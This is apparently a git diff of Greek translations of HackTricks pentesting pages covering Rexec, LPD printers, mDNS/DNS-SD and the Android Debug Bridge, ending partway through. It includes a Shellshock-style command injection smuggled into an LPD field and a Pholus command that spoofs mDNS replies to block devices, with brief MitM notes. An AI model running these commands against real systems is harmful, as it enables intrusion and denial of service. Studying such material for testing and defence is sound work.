# 512 - Ελεγκτική δοκιμή Rexec
# 512 - Pentesting Rexec
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Βασικές Πληροφορίες
## Basic Information
Είναι ένας υπηρεσία που **σας επιτρέπει να εκτελέσετε μια εντολή μέσα σε έναν κεντρικό υπολογιστή** αν γνωρίζετε έγκυρα **διαπιστευτήρια** (όνομα χρήστη και κωδικό πρόσβασης).
Είναι μια υπηρεσία που **σας επιτρέπει να εκτελέσετε μια εντολή μέσα σε έναν υπολογιστή** αν γνωρίζετε έγκυρα **διαπιστευτήρια** (όνομα χρήστη και κωδικό πρόσβασης).
**Προεπιλεγμένη Θύρα:** 512
**Default Port:** 512
```
PORT STATE SERVICE
512/tcp open exec
```
### [**Βίαιη επίθεση**](../generic-methodologies-and-resources/brute-force.md#rexec)
### [**Brute-force**](../generic-methodologies-and-resources/brute-force.md#rexec)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### **Εισαγωγή στο πρωτόκολλο LPD**
### **Εισαγωγή στο Πρωτόκολλο LPD**
Τη δεκαετία του 1980, το πρωτόκολλο **Line Printer Daemon (LPD)** αναπτύχθηκε στο Berkeley Unix, το οποίο αργότερα καθιερώθηκε μέσω του RFC1179. Αυτό το πρωτόκολλο λειτουργεί μέσω της θύρας 515/tcp, επιτρέποντας αλληλεπιδράσεις μέσω της εντολής `lpr`. Η ουσία της εκτύπωσης μέσω LPD περιλαμβάνει την αποστολή ενός **αρχείου ελέγχου** (για τον καθορισμό λεπτομερειών και χρήστη της εργασίας) μαζί με ένα **αρχείο δεδομένων** (το οποίο περιέχει τις πληροφορίες εκτύπωσης). Ενώ το αρχείο ελέγχου επιτρέπει την επιλογή **διάφορων μορφών αρχείων** για το αρχείο δεδομένων, η χειρισμός αυτών των αρχείων καθορίζεται από τη συγκεκριμένη υλοποίηση του LPD. Μια ευρέως αναγνωρισμένη υλοποίηση για συστήματα παρόμοια με Unix είναι το **LPRng**. Είναι σημαντικό να σημειωθεί ότι το πρωτόκολλο LPD μπορεί να εκμεταλλευτεί για την εκτέλεση **κακόβουλων εργασιών εκτύπωσης PostScript** ή **PJL**.
Στη δεκαετία του 1980, το **πρωτόκολλο Line Printer Daemon (LPD)** αναπτύχθηκε στο Berkeley Unix, το οποίο αργότερα τυποποιήθηκε μέσω του RFC1179. Αυτό το πρωτόκολλο λειτουργεί μέσω της θύρας 515/tcp, επιτρέποντας αλληλεπιδράσεις μέσω της εντολής `lpr`. Η ουσία της εκτύπωσης μέσω LPD περιλαμβάνει την αποστολή ενός **αρχείου ελέγχου** (για να καθορίσει λεπτομέρειες εργασίας και χρήστη) μαζί με ένα **αρχείο δεδομένων** (το οποίο περιέχει τις πληροφορίες εκτύπωσης). Ενώ το αρχείο ελέγχου επιτρέπει την επιλογή **διαφορετικών μορφών αρχείων** για το αρχείο δεδομένων, η διαχείριση αυτών των αρχείων καθορίζεται από την συγκεκριμένη υλοποίηση LPD. Μια ευρέως αναγνωρισμένη υλοποίηση για συστήματα τύπου Unix είναι το **LPRng**. Σημαντικά, το πρωτόκολλο LPD μπορεί να εκμεταλλευτεί για την εκτέλεση **κακόβουλου PostScript** ή **PJL print jobs**.
### **Εργαλεία για την αλληλεπίδραση με εκτυπωτές LPD**
### **Εργαλεία για Αλληλεπίδραση με Εκτυπωτές LPD**
Το [**PRET**](https://github.com/RUB-NDS/PRET) παρουσιάζει δύο βασικά εργαλεία, το `lpdprint` και το `lpdtest`, που προσφέρουν έναν απλό τρόπο αλληλεπίδρασης με εκτυπωτές συμβατούς με το LPD. Αυτά τα εργαλεία επιτρέπουν μια σειρά ενεργειών από την εκτύπωση δεδομένων μέχρι την επεξεργασία αρχείων στον εκτυπωτή, όπως λήψη, αποστολή ή διαγραφή:
[**PRET**](https://github.com/RUB-NDS/PRET) εισάγει δύο βασικά εργαλεία, το `lpdprint` και το `lpdtest`, προσφέροντας μια απλή μέθοδο για αλληλεπίδραση με εκτυπωτές συμβατούς με LPD. Αυτά τα εργαλεία επιτρέπουν μια σειρά ενεργειών από την εκτύπωση δεδομένων μέχρι την επεξεργασία αρχείων στον εκτυπωτή, όπως η λήψη, η αποστολή ή η διαγραφή:
```python
# To print a file to an LPD printer
lpdprint.py hostname filename
@ -33,23 +34,24 @@ lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
lpdtest.py hostname mail lpdtest@mailhost.local
```
Για άτομα που ενδιαφέρονται να εξερευνήσουν περαιτέρω τον κόσμο του **hacking εκτυπωτών**, μια περιεκτική πηγή πληροφοριών μπορεί να βρεθεί εδώ: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).
Για άτομα που ενδιαφέρονται να εξερευνήσουν περαιτέρω τον τομέα του **printer hacking**, μια ολοκληρωμένη πηγή μπορεί να βρεθεί εδώ: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).
# Shodan
* `port 515`
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,67 +1,67 @@
# 5353/UDP Multicast DNS (mDNS) και DNS-SD
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Βασικές Πληροφορίες**
Το **Multicast DNS (mDNS)** επιτρέπει λειτουργίες παρόμοιες με το DNS εντός τοπικών δικτύων χωρίς την ανάγκη για έναν παραδοσιακό διακομιστή DNS. Λειτουργεί στη θύρα **UDP 5353** και επιτρέπει στις συσκευές να ανακαλύπτουν η μία την άλλη και τις υπηρεσίες τους, κάτι που συνήθως βλέπουμε σε διάφορες συσκευές IoT. Η **Ανακάλυψη Υπηρεσιών DNS (DNS-SD)**, συχνά χρησιμοποιείται μαζί με το mDNS, βοηθά στον εντοπισμό των υπηρεσιών που είναι διαθέσιμες στο δίκτυο μέσω τυπικών ερωτημάτων DNS.
**Multicast DNS (mDNS)** επιτρέπει **λειτουργίες παρόμοιες με το DNS** εντός τοπικών δικτύων χωρίς την ανάγκη παραδοσιακού διακομιστή DNS. Λειτουργεί στην **UDP θύρα 5353** και επιτρέπει στις συσκευές να ανακαλύπτουν η μία την άλλη και τις υπηρεσίες τους, κάτι που παρατηρείται συχνά σε διάφορες IoT συσκευές. **DNS Service Discovery (DNS-SD)**, που χρησιμοποιείται συχνά παράλληλα με το mDNS, βοηθά στην αναγνώριση υπηρεσιών που είναι διαθέσιμες στο δίκτυο μέσω τυπικών ερωτημάτων DNS.
```
PORT STATE SERVICE
5353/udp open zeroconf
```
### **Λειτουργία του mDNS**
Σε περιβάλλοντα χωρίς έναν τυπικό διακομιστή DNS, το mDNS επιτρέπει στις συσκευές να αναλύουν ονόματα τομέων που τελειώνουν σε **.local** ερωτώντας την πολυεκπομπή διεύθυνση **224.0.0.251** (IPv4) ή **FF02::FB** (IPv6). Σημαντικά στοιχεία του mDNS περιλαμβάνουν μια τιμή **Time-to-Live (TTL)** που υποδεικνύει την ισχύ της εγγραφής και ένα **bit QU** που διακρίνει μεταξύ μονοκατευθυντικών και πολυκατευθυντικών ερωτημάτων. Όσον αφορά την ασφάλεια, είναι ζωτικής σημασίας για τις υλοποιήσεις του mDNS να επαληθεύουν ότι η διεύθυνση προέλευσης του πακέτου συμφωνεί με το τοπικό υποδίκτυο.
Σε περιβάλλοντα χωρίς έναν τυπικό διακομιστή DNS, το mDNS επιτρέπει στις συσκευές να επιλύουν ονόματα τομέα που τελειώνουν σε **.local** ερωτώντας τη διεύθυνση multicast **224.0.0.251** (IPv4) ή **FF02::FB** (IPv6). Σημαντικές πτυχές του mDNS περιλαμβάνουν μια τιμή **Time-to-Live (TTL)** που υποδεικνύει την εγκυρότητα της εγγραφής και ένα **QU bit** που διακρίνει μεταξύ unicast και multicast ερωτήσεων. Από πλευράς ασφάλειας, είναι κρίσιμο για τις υλοποιήσεις mDNS να επαληθεύουν ότι η διεύθυνση προέλευσης του πακέτου ευθυγραμμίζεται με το τοπικό υποδίκτυο.
### **Λειτουργία του DNS-SD**
Το DNS-SD διευκολύνει την ανακάλυψη των υπηρεσιών δικτύου ερωτώντας για εγγραφές δείκτη (PTR) που αντιστοιχούν τους τύπους υπηρεσιών στις περιπτώσεις τους. Οι υπηρεσίες αναγνωρίζονται χρησιμοποιώντας ένα πρότυπο **_\<Υπηρεσία>.\_tcp ή \_\<Υπηρεσία>.\_udp** εντός του τομέα **.local**, οδηγώντας στην ανακάλυψη των αντίστοιχων εγγραφών **SRV** και **TXT** που παρέχουν λεπτομερείς πληροφορίες για την υπηρεσία.
Το DNS-SD διευκολύνει την ανακάλυψη δικτυακών υπηρεσιών ερωτώντας για εγγραφές δείκτη (PTR) που αντιστοιχούν σε τύπους υπηρεσιών και τις περιπτώσεις τους. Οι υπηρεσίες αναγνωρίζονται χρησιμοποιώντας ένα μοτίβο **_\<Service>.\_tcp ή \_\<Service>.\_udp** εντός του τομέα **.local**, οδηγώντας στην ανακάλυψη αντίστοιχων **SRV** και **TXT records** που παρέχουν λεπτομερείς πληροφορίες για την υπηρεσία.
### **Εξερεύνηση Δικτύου**
#### **Χρήση του nmap**
Ένα χρήσιμο παράδειγμα εντολής για σάρωση του τοπικού δικτύου για υπηρεσίες mDNS είναι:
Μια χρήσιμη εντολή για σάρωση του τοπικού δικτύου για υπηρεσίες mDNS είναι:
```bash
nmap -Pn -sUC -p5353 [target IP address]
```
Αυτή η εντολή βοηθά στον εντοπισμό ανοιχτών θυρών mDNS και τις υπηρεσίες που διαφημίζονται μέσω αυτών.
Αυτή η εντολή βοηθά στην αναγνώριση ανοιχτών θυρών mDNS και των υπηρεσιών που διαφημίζονται μέσω αυτών.
#### **Διακριτοποίηση Δικτύου με το Pholus**
#### **Δικτυακή Αρίθμηση με Pholus**
Για να στείλετε ενεργά αιτήματα mDNS και να καταγράψετε την κίνηση, μπορείτε να χρησιμοποιήσετε το εργαλείο **Pholus** ως εξής:
Για να στείλετε ενεργά αιτήματα mDNS και να καταγράψετε την κίνηση, το εργαλείο **Pholus** μπορεί να χρησιμοποιηθεί ως εξής:
```bash
sudo python3 pholus3.py [network interface] -rq -stimeout 10
```
## Επιθέσεις
### **Εκμεταλλευόμενοι το mDNS Probing**
### **Εκμετάλλευση mDNS Probing**
Ένα διάνυσμα επίθεσης περιλαμβάνει την αποστολή πλαστογραφημένων απαντήσεων σε αιτήματα mDNS, υποδεικνύοντας ότι όλα τα πιθανά ονόματα είναι ήδη σε χρήση, εμποδίζοντας έτσι τις νέες συσκευές να επιλέξουν ένα μοναδικό όνομα. Αυτό μπορεί να εκτελεστεί χρησιμοποιώντας:
Ένα διακυβερνητικό μέσο περιλαμβάνει την αποστολή ψευδών απαντήσεων σε mDNS probes, υποδεικνύοντας ότι όλα τα πιθανά ονόματα είναι ήδη σε χρήση, εμποδίζοντας έτσι τις νέες συσκευές να επιλέξουν ένα μοναδικό όνομα. Αυτό μπορεί να εκτελεστεί χρησιμοποιώντας:
```bash
sudo python pholus.py [network interface] -afre -stimeout 1000
```
Αυτή η τεχνική αποτρέπει αποτελεσματικά τις νέες συσκευές από το να καταχωρήσουν τις υπηρεσίες τους στο δίκτυο.
Αυτή η τεχνική μπλοκάρει αποτελεσματικά τις νέες συσκευές από το να καταχωρούν τις υπηρεσίες τους στο δίκτυο.
**Συνοψίζοντας**, η κατανόηση της λειτουργίας του mDNS και του DNS-SD είναι κρίσιμη για τη διαχείριση και την ασφάλεια του δικτύου. Εργαλεία όπως το **nmap** και το **Pholus** προσφέρουν πολύτιμες πληροφορίες για τις τοπικές υπηρεσίες του δικτύου, ενώ η επίγνωση των πιθανών ευπαθειών βοηθά στην προστασία από επιθέσεις.
**Συνοψίζοντας**, η κατανόηση της λειτουργίας του mDNS και του DNS-SD είναι κρίσιμη για τη διαχείριση και την ασφάλεια του δικτύου. Εργαλεία όπως το **nmap** και το **Pholus** προσφέρουν πολύτιρες πληροφορίες σχετικά με τις τοπικές υπηρεσίες δικτύου, ενώ η επίγνωση των πιθανών ευπαθειών βοηθά στην προστασία από επιθέσεις.
### Spoofing/MitM
### Παραπλάνηση/MitM
Η πιο ενδιαφέρουσα επίθεση που μπορείτε να πραγματοποιήσετε μέσω αυτής της υπηρεσίας είναι να πραγματοποιήσετε ένα **MitM** στη **επικοινωνία μεταξύ του πελάτη και του πραγματικού διακομιστή**. Μπορείτε να καταφέρετε να αποκτήσετε ευαίσθητα αρχεία (MitM την επικοινωνία με τον εκτυπωτή) ή ακόμα και διαπιστευτήρια (πιστοποίηση Windows).\
Για περισσότερες πληροφορίες, ανατρέξτε στο:
Η πιο ενδιαφέρουσα επίθεση που μπορείτε να εκτελέσετε μέσω αυτής της υπηρεσίας είναι να πραγματοποιήσετε ένα **MitM** στην **επικοινωνία μεταξύ του πελάτη και του πραγματικού διακομιστή**. Μπορείτε να αποκτήσετε ευαίσθητα αρχεία (MitM την επικοινωνία με τον εκτυπωτή) ή ακόμα και διαπιστευτήρια (Windows authentication).\
Για περισσότερες πληροφορίες ελέγξτε:
{% content-ref url="../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
@ -71,16 +71,17 @@ sudo python pholus.py [network interface] -afre -stimeout 1000
* [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical\_IoT\_Hacking.html?id=GbYEEAAAQBAJ\&redir\_esc=y)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,69 +1,71 @@
# 5555 - Αποσφαλμάτωση Android
# 5555 - Android Debug Bridge
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
